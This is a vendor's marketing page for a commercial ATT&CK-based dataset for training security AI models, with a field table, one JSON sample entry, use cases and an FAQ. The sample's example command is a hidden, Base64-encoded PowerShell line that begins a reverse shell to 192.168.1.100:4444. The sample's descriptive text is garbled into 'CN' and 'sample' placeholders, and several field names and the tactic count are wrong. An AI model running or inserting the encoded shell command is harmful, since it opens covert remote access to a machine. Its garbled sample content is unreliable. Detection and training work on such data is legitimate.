Name: MITRE ATT&CK security skills training dataset
Creator: Changsha Langhui Information Technology Co., Ltd.
Keywords: MITRE ATT&CK, security training, TTP, threat intelligence

Dataset Overview

Definition：MITRE ATT&CK Security Skills Training Datasetis provided byChangsha Langhui Information Technology Co., Ltd.Based on the open ATT&CK knowledge framework, a high-quality security training dataset is built from real attack scenarios, threat intelligence reports, and security incident data. It covers all 14 tactical categories and 200+ techniques/sub-techniques, each organized as a five-dimensional association structure: "XML rules + PCAP traffic + HTTP response raw text + attack type label + standard answer".

Dataset Name	MITRE ATT&CK Security Skills Training Dataset
Total Data Volume	1,000~20,000 entries
Data Type	JSON + PCAP (Five-Dimensional Linking Structure)
Data Source	Langhui Security Laboratory + Public threat intelligence
License Type	Commercial Licensing Complete authorization documents are attached
Delivery Cycle	1–2 months
Covers tactics.	Reconnaissance/Resource Development/Initial Access/Execution/Persistence/Privilege Escalation/Defense Evasion/Discovery/Lateral Movement/Command and Control/Exfiltration/Impact (all 14 covered)
Output Format	JSONL / CSV / Excel
Language	Chinese-English Bilingual

Core Data Fields

Each data entry contains complete ATT&CK technical metadata, attack descriptions, detection methods, mitigation measures, process examples, and PCAP-related information, covering the full range of scenario needs from knowledge injection to field training.

Field Category	Field Count	Typical Fields
Technical Metadata	6	Technique_id (ATT&CK TID), name (technique name), technical (applicable platform), personnel_required (required privileges), data_sources (data sources)
Attack Description	3	Decrimtion (detailed description of attack techniques), regulation_example (showing examples of real APT processes), description_recommendation (detection recommendations)
Test Method	3	Data_type (detection type), data_source_required (required data), data_logic (detection logic description)
Mitigation	3	mitigation_id (mitigation measure ID), mitigation_name (measure name), mitigation_description (measure description)
Process Example	3	example_compand (example command), example_tool (tool used), procedure_description (process description)
PCAP Association	4	pcap_file (PCAP file name), pcap_md5 (file MD5), pcap_size (file size), flow_signature (traffic feature signature)

Data Sample Showcase

The following is a structured JSON sample showing the five-track training data format for ATT&CK techniques.

{ "entry_id": "ATTACK-TRN-2024-0001523", "technique_metadata": { "technique_id": "T1059", "name": "Command and scripting interpreter", "tactic": "Execution", "platform": ["Windows", "Linux", "macOS"], "permissions_required": "User", "data_sources": ["Process Creation", "Command Execution", "Script Load"] }, "attack_description": { "description": "sample and sample（CNPowerShell、Bash、Python）sample、sample。sample，sample。", "procedure_example": "APT29CNPowerShellCN，CNInvoke-ExpressionCN，CNWMICN。", "detection_recommendation": "CNPowerShellCN（Event ID 4104）、sample（Event ID 4688）、sample。" }, "detection": { "detection_type": "Behavioral", "data_source_required": ["Windows Event Log", "Sysmon", "EDR"], "detection_logic": "CNPowerShellCN（-EncodedCommand、-WindowStyle Hidden）、BashCNShell、PythonCNsubprocess/os.systemCN。" }, "mitigation": { "mitigation_id": "M1042", "mitigation_name": "sample value", "mitigation_description": "CNAppLocker/WDACCN，CNPowerShellCN，sample。" }, "procedure_example": { "example_command": "powershell -NoP -NonI -W Hidden -Enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAiACwANAA0ADQANAApADsA", "example_tool": "PowerShell Empire", "procedure_description": "CNBase64CNPowerShellCNTCPCN，CNC2sample192.168.1.100:4444。" }, "pcap_info": { "pcap_file": "T1059_cmd_shell_reverse_20240115.pcap", "pcap_md5": "a3f8b2c91d4e5f60789a1b2c3d4e5f60", "pcap_size": "245678", "flow_signature": "TCP SYN → 192.168.1.100:4444, Base64 PowerShell payload in HTTP POST body" }, "answer": { "is_attack": true, "attack_type": "sample value", "attck_phase": "Execution", "true_positive_rate": 0.97 }
}

AI Application Scenarios

Security Large Model Pre-Training and SFT

20,000 high-quality ATT&CK structured training data entries covering the full attack life cycle, supporting pre-training and supervised fine-tuning of base models such as GPT/Llama/Qwen in the area of cybersecurity, and significantly enhancing the depth of the model's offensive knowledge.

ATT&CK Knowledge Enhancement

Structured knowledge systems based on 14 major tactics and 200+ techniques, systematically injecting ATT&CK knowledge profiles into the security large model, enabling the model to accurately identify, interpret, and reason about attacks.

TTP Reasonable Competency Training

The five-track association data supports model learning of the full reasoning chain of the "Assisting Tool Flow Quest Standard Answers" and trains the causal reasoning and evidence chain building capability of the security base model.

SOC Automation

Based on ATT&CK technique mapping detection rules and response measures, SOC automated script development AI was trained to automate the end-to-end implementation of ATT&CK mapping test rules to trigger response measures.

Adversarial Simulation Exercises

The rich examples of attack processes and PCAP traffic data can be used to build an AI-driven platform for offensive exercises, automating Red Team strike paths and Blue Team detection and response strategies.

Threat Intelligence Linkage Analysis

Automatically align TTP descriptions in CTI reports with ATT&CK technique entries, train threat intelligence linkage analysis AI, and achieve automatic mapping and attack organization profiling from intelligence text to technique spectrographs.

Frequently asked questions

How is data authorized? Can it be used for business AI training?

This dataset is provided byChangsha Langhui Information Technology Co., Ltd.The terms of authorization are available upon contacting business.

What difference does this data set make to the original MITRE ATT&CK knowledge base?

The MITRE ATT&CK Knowledge Base provides open technical description files, and this data set adds on this basis: 1 real attack process examples and commands; 2 PCAP network traffic data; 3 structured detection rules; 4 standard answer annotations. It is a "trainable" version for AI training, not a simple document-type knowledge base.

How often do you update the data? Will you cover the latest version of ATT&CK?

The data set is updated in step with the MITRE ATT&CK framework and completes data updates within 1-2 months of the release of a new version.

Do you support customized subsets based on specific tactics or techniques?

Support. You can customize tactics (e.g., only Initial Access/Persistence), platforms (e.g., only Windows/Linux), technique ID lists, etc. We also support the addition of custom attack examples and detection rules based on your business scenario.

How do you obtain data or business advice?

This dataset is provided byChangsha Langhui Information Technology Co., Ltd.Our DataAssets API platform supports both standard datasets and on-demand customization. Please contact us for a detailed data catalog, sample preview, and quote plan.

Need a custom ATT&CK training dataset?

Changsha Langhui Information Technology Co., Ltd. The DataAssetsAPI platform, which aims to provide high-quality, compliant security data assets to AI enterprises and scientific institutions.

Data sample preview · Customization · Tactical/Technique subset · Professional technical support

Data Sample Preview Customized Discipline-Specific Solutions Professional Technical Support